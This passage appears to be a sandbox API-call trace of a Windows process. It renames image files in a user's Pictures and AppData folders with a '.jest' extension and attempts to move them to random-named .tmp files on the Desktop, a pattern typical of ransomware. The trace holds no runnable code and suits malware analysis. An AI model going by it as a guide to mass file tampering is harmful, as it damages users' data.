HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\slA2.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\sla2.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\slA2.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\sla2.jpg.jest")) returned 1 [0173.377] VarBstrFromR4 (in: fltIn=0x47945b77, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.93") returned 0x0 [0173.378] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\slA2.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\sla2.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GX LpPzYzhylVVhSFiE5FxRF6JMttEW59uT3Prj2Ww0doK8URf9juyaRYHmr PiwV dxEyylHtnmifKp0DDAOd QFY9YYhnLpDZ9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gx lppzyzhylvvhsfie5fxrf6jmttew59ut3prj2ww0dok8urf9juyaryhmr piwv dxeyylhtnmifkp0ddaod qfy9yyhnlpdz9.tmp")) returned 0 [0173.378] GetLastError () returned 0x2 [0173.379] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\1iTnzCngtW.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\1itnzcngtw.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\1iTnzCngtW.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\1itnzcngtw.jpg.jest")) returned 1 [0173.380] VarBstrFromR4 (in: fltIn=0x47945b77, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.93") returned 0x0 [0173.381] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\1iTnzCngtW.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\1itnzcngtw.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sfiVo06-9VYPAOGKTnsvo1Ngye02lmys9ZhRctRLWehF7JGp4kin2p-lEfuKixiiQ-E8ocrX0uf28elM-hbUR14rCFQvTPHS3Hwzq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sfivo06-9vypaogktnsvo1ngye02lmys9zhrctrlwehf7jgp4kin2p-lefukixiiq-e8ocrx0uf28elm-hbur14rcfqvtphs3hwzq.tmp")) returned 0 [0173.381] GetLastError () returned 0x2 [0173.382] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\pli2FLf5HmG.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\pli2flf5hmg.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\pli2FLf5HmG.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\pli2flf5hmg.jpg.jest")) returned 1 [0173.383] VarBstrFromR4 (in: fltIn=0x47945b77, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.93") returned 0x0 [0173.384] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\pli2FLf5HmG.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\pli2flf5hmg.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NaTn9kc779wtHJIXBV6nqTEvWfGZpCr4iHTddqkbQ1qBQ8vc-7qDbw0bQ1 zWdkuTkSfl-uLmNULUrQtHugyFluxoVS0cyhjyrhe9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\natn9kc779wthjixbv6nqtevwfgzpcr4ihtddqkbq1qbq8vc-7qdbw0bq1 zwdkutksfl-ulmnulurqthugyfluxovs0cyhjyrhe9.tmp")) returned 0 [0173.384] GetLastError () returned 0x2 [0173.385] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\Zf7dYTVQtnkp1IeH.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\zf7dytvqtnkp1ieh.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\Zf7dYTVQtnkp1IeH.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\zf7dytvqtnkp1ieh.jpg.jest")) returned 1 [0173.386] VarBstrFromR4 (in: fltIn=0x47945b77, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.93") returned 0x0 [0173.387] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\Zf7dYTVQtnkp1IeH.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\zf7dytvqtnkp1ieh.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5LujFS-gJtRmkBwfB42uvs9zrk1JAt8bgeKlU6iZMQG2w24HFbFlwY6v6jixxoXd Jvo2rjhzuTsUNllFA0g fPHmD7YRmUYNg94H.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5lujfs-gjtrmkbwfb42uvs9zrk1jat8bgeklu6izmqg2w24hfbflwy6v6jixxoxd jvo2rjhzutsunllfa0g fphmd7yrmuyng94h.tmp")) returned 0 [0173.387] GetLastError () returned 0x2 [0173.388] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\HmuXZjtH0O-T.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\hmuxzjth0o-t.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\HmuXZjtH0O-T.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\hmuxzjth0o-t.png.jest")) returned 1 [0173.389] VarBstrFromR4 (in: fltIn=0x47945b79, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.95") returned 0x0 [0173.390] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\HmuXZjtH0O-T.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\hmuxzjth0o-t.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5k8Bny97vQg_fVd0SRCA9dqePJD1T4vLxag21OlRixJkZWBtqL qPi17Ipd4Pi3d9tGSrGW8CaLkcbRLETG8J GcGMEVcsBIqvEbr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5k8bny97vqg_fvd0srca9dqepjd1t4vlxag21olrixjkzwbtql qpi17ipd4pi3d9tgsrgw8calkcbrletg8j gcgmevcsbiqvebr.tmp")) returned 0 [0173.390] GetLastError () returned 0x2 [0173.391] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\5wDcVWKSoucwIyvg1U.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\5wdcvwksoucwiyvg1u.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\5wDcVWKSoucwIyvg1U.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\5wdcvwksoucwiyvg1u.png.jest")) returned 1 [0173.392] VarBstrFromR4 (in: fltIn=0x47945b79, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.95") returned 0x0 [0173.392] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\5wDcVWKSoucwIyvg1U.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\5wdcvwksoucwiyvg1u.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\huTkIq9F0Cgcd sNOgj8H dqmZOXW47MQakuZsQ6O7TZG9Q4MqFobcnVL_I3m0RcxOHZoX9gDTZDPxICGe8D BHLst--sh eLOGL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hutkiq9f0cgcd snogj8h dqmzoxw47mqakuzsq6o7tzg9q4mqfobcnvl_i3m0rcxohzox9gdtzdpxicge8d bhlst--sh elogl.tmp")) returned 0 [0173.392] GetLastError () returned 0x2 [0173.393] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\lHOnRM70_6za.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\lhonrm70_6za.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\lHOnRM70_6za.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\lhonrm70_6za.png.jest")) returned 1 [0173.395] VarBstrFromR4 (in: fltIn=0x47945b79, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.95") returned 0x0 [0173.395] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\lHOnRM70_6za.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\lhonrm70_6za.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AYVmLMmtzPZ nEczEDicDjVqwamJ_KppbWnXziYEhGkiszGMozpuicrbDfl hFw95rHyRQnl4 zmf5rSumJb4ZUtowiqg-Wu_87QQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ayvmlmmtzpz neczedicdjvqwamj_kppbwnxziyehgkiszgmozpuicrbdfl hfw95rhyrqnl4 zmf5rsumjb4zutowiqg-wu_87qq.tmp")) returned 0 [0173.395] GetLastError () returned 0x2 [0173.396] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\N7BDB1e7FK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\n7bdb1e7fk.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\N7BDB1e7FK.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\n7bdb1e7fk.png.jest")) returned 1 [0173.397] VarBstrFromR4 (in: fltIn=0x47945b79, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.95") returned 0x0 [0173.398] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\N7BDB1e7FK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\n7bdb1e7fk.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hcOPbQlEOk6GcwVS_wWzd6V1bG8PezV8cBnYjhZyrvP7t7rg XqB-vq6VHFWCSrE46GHptgTSp0zJ_0bCwArkCFkOez8mUoCtS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hcopbqleok6gcwvs_wwzd6v1bg8pezv8cbnyjhzyrvp7t7rg xqb-vq6vhfwcsre46ghptgtsp0zj_0bcwarkcfkoez8muocts.tmp")) returned 0 [0173.398] GetLastError () returned 0x2 [0173.399] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\ECzkyDCnK0.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\eczkydcnk0.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\ECzkyDCnK0.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\eczkydcnk0.jpg.jest")) returned 1 [0173.400] VarBstrFromR4 (in: fltIn=0x47945b79, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.95") returned 0x0 [0173.401] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\2boTaL-0GoZP\\ECzkyDCnK0.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\2botal-0gozp\\eczkydcnk0.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oBZQSe2QmaGNbyHKJxqwMV_f10QgjCQUmog7Tozyp6S7HO9P4hwqRGqQg YrH2Yurm7SmUcQMLVmgxb5RyRsDr62e_ssRJft-luOx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\obzqse2qmagnbyhkjxqwmv_f10qgjcqumog7tozyp6s7ho9p4hwqrgqqg yrh2yurm7smucqmlvmgxb5ryrsdr62e_ssrjft-luox.tmp")) returned 0 [0173.401] GetLastError () returned 0x2 [0173.402] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\9MLLPwxYhLEnWTI\\KKj8wRBVxN1Zh1otRji8.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\9mllpwxyhlenwti\\kkj8wrbvxn1zh1otrji8.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\9MLLPwxYhLEnWTI\\KKj8wRBVxN1Zh1otRji8.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\9mllpwxyhlenwti\\kkj8wrbvxn1zh1otrji8.png.jest")) returned 1 [0173.403] VarBstrFromR4 (in: fltIn=0x47945b7a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.95") returned 0x0 [0173.404] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\9MLLPwxYhLEnWTI\\KKj8wRBVxN1Zh1otRji8.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\9mllpwxyhlenwti\\kkj8wrbvxn1zh1otrji8.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qj5ki7SLxtPbxWIpVpmcYjI4DyVMU__scTJ78aKSLNCq1HsRL7UzCiDLrAGv8M4SRbX2Zig5ObOmVlyqc58AK14VgiJC78LzYCin.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qj5ki7slxtpbxwipvpmcyji4dyvmu__sctj78akslncq1hsrl7uzcidlragv8m4srbx2zig5obomvlyqc58ak14vgijc78lzycin.tmp")) returned 0 [0173.404] GetLastError () returned 0x2 [0173.404] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\9MLLPwxYhLEnWTI\\zcVw9Z5oN5TVVZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\9mllpwxyhlenwti\\zcvw9z5on5tvvz.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\9MLLPwxYhLEnWTI\\zcVw9Z5oN5TVVZ.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\9mllpwxyhlenwti\\zcvw9z5on5tvvz.png.jest")) returned 1 [0173.406] VarBstrFromR4 (in: fltIn=0x47945b7a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.95") returned 0x0 [0173.407] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\9MLLPwxYhLEnWTI\\zcVw9Z5oN5TVVZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\9mllpwxyhlenwti\\zcvw9z5on5tvvz.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5Bvl3_H0YLHAikKQpEwqTnqE7TvwQzxFji5sNXtuFvdmDfVlP3yaU-hV0HMlATOS6St_efk4obHA sJ557MT1d5Znq8vIeiBqGOo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5bvl3_h0ylhaikkqpewqtnqe7tvwqzxfji5snxtufvdmdfvlp3yau-hv0hmlatos6st_efk4obha sj557mt1d5znq8vieibqgoo.tmp")) returned 0 [0173.407] GetLastError () returned 0x2 [0173.408] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\9MLLPwxYhLEnWTI\\3fOqIDJ7.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\9mllpwxyhlenwti\\3foqidj7.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\9MLLPwxYhLEnWTI\\3fOqIDJ7.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\9mllpwxyhlenwti\\3foqidj7.jpg.jest")) returned 1 [0173.409] VarBstrFromR4 (in: fltIn=0x47945b7a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.95") returned 0x0 [0173.410] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\H5_Ncj\\9MLLPwxYhLEnWTI\\3fOqIDJ7.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\h5_ncj\\9mllpwxyhlenwti\\3foqidj7.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\J_d7q NuiTqrLfCWz7ZdgDKEUYxWvx0He1yzh6CBjyfK81C_3r8lP6I6yguD_VqwpvcC0ya34IGRXt3USF9uZOym3woMxAFnnE1SY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j_d7q nuitqrlfcwz7zdgdkeuyxwvx0he1yzh6cbjyfk81c_3r8lp6i6ygud_vqwpvcc0ya34igrxt3usf9uzoym3womxafnne1sy.tmp")) returned 0 [0173.410] GetLastError () returned 0x2 [0173.411] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8ID3IAx2W2kvkgrLKP0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\8id3iax2w2kvkgrlkp0.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8ID3IAx2W2kvkgrLKP0.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\8id3iax2w2kvkgrlkp0.png.jest")) returned 1 [0173.415] VarBstrFromR4 (in: fltIn=0x47945b7a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.95") returned 0x0 [0173.416] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8ID3IAx2W2kvkgrLKP0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\8id3iax2w2kvkgrlkp0.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mfrQw kS-jL6b6xPoWGI-rRfR4h2m-a35M2VzB000I1OUxoLGVVRowp ysIaEfmyDNBHkf3lJgnnocky7 jQR5SKj bwK7qfdgK5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mfrqw ks-jl6b6xpowgi-rrfr4h2m-a35m2vzb000i1ouxolgvvrowp ysiaefmydnbhkf3ljgnnocky7 jqr5skj bwk7qfdgk5.tmp")) returned 0 [0173.416] GetLastError () returned 0x2 [0173.417] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dZa6aji2R 1tRHS.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dza6aji2r 1trhs.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dZa6aji2R 1tRHS.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dza6aji2r 1trhs.jpg.jest")) returned 1 [0173.420] VarBstrFromR4 (in: fltIn=0x47945b7d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.98") returned 0x0 [0173.421] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dZa6aji2R 1tRHS.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dza6aji2r 1trhs.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\80g3H7HYTkr VI97MVdi4J2cL-9VWC7T-f1QGBxI566Gl0rkUqnHqp8MXg_pP_S4rL1_kjn YDrndepkPtCf1c7WJVCDVT8FC_Sw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\80g3h7hytkr vi97mvdi4j2cl-9vwc7t-f1qgbxi566gl0rkuqnhqp8mxg_pp_s4rl1_kjn ydrndepkptcf1c7wjvcdvt8fc_sw.tmp")) returned 0 [0173.421] GetLastError () returned 0x2 [0173.422] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Z79ms49v9PYUU6c.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\z79ms49v9pyuu6c.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Z79ms49v9PYUU6c.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\z79ms49v9pyuu6c.png.jest")) returned 1 [0173.424] VarBstrFromR4 (in: fltIn=0x47945b7d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.98") returned 0x0 [0173.425] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Z79ms49v9PYUU6c.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\z79ms49v9pyuu6c.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GP7F42ZCMut7sqQqc9hu4ips6r5Dyr0kd1k4m1-G_CMxAHLnQmY42ss5A5GZ9KrwtDxuSJBYsijplb o greeS-QnXmiC6Kkhd8S.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gp7f42zcmut7sqqqc9hu4ips6r5dyr0kd1k4m1-g_cmxahlnqmy42ss5a5gz9krwtdxusjbysijplb o grees-qnxmic6kkhd8s.tmp")) returned 0 [0173.425] GetLastError () returned 0x2 [0173.426] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\V_uyUfz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\v_uyufz.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\V_uyUfz.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\v_uyufz.png.jest")) returned 1 [0173.428] VarBstrFromR4 (in: fltIn=0x47945b7d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.98") returned 0x0 [0173.429] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\V_uyUfz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\v_uyufz.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TOsEtGs7sgwy8ErbQvOtrjhsfmkvgMKWhCgQwTDz4TWu8l NfLhtq-Gt3Hb uld4dH7eIHLf-igtQIvJxMaOm-xlWAoOM Qi9jbO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tosetgs7sgwy8erbqvotrjhsfmkvgmkwhcgqwtdz4twu8l nflhtq-gt3hb uld4dh7eihlf-igtqivjxmaom-xlwaoom qi9jbo.tmp")) returned 0 [0173.429] GetLastError () returned 0x2 [0173.431] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ARiJwW1oBMTM-fIUT.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\arijww1obmtm-fiut.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ARiJwW1oBMTM-fIUT.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\arijww1obmtm-fiut.png.jest")) returned 1 [0173.433] VarBstrFromR4 (in: fltIn=0x47945b7d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.98") returned 0x0 [0173.434] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ARiJwW1oBMTM-fIUT.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\arijww1obmtm-fiut.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\q_bXoEDygGAWHWddh-BV2EQhOJ b66fCJJHUh5waG1mVBkGiNOqZS0UVP-JwXPXfy3Zh62U-cpyJivEy36NRR5p9GRAKIY6nd2s.tmp" (normalized: "c:\\users\\5p5nrgjn0js 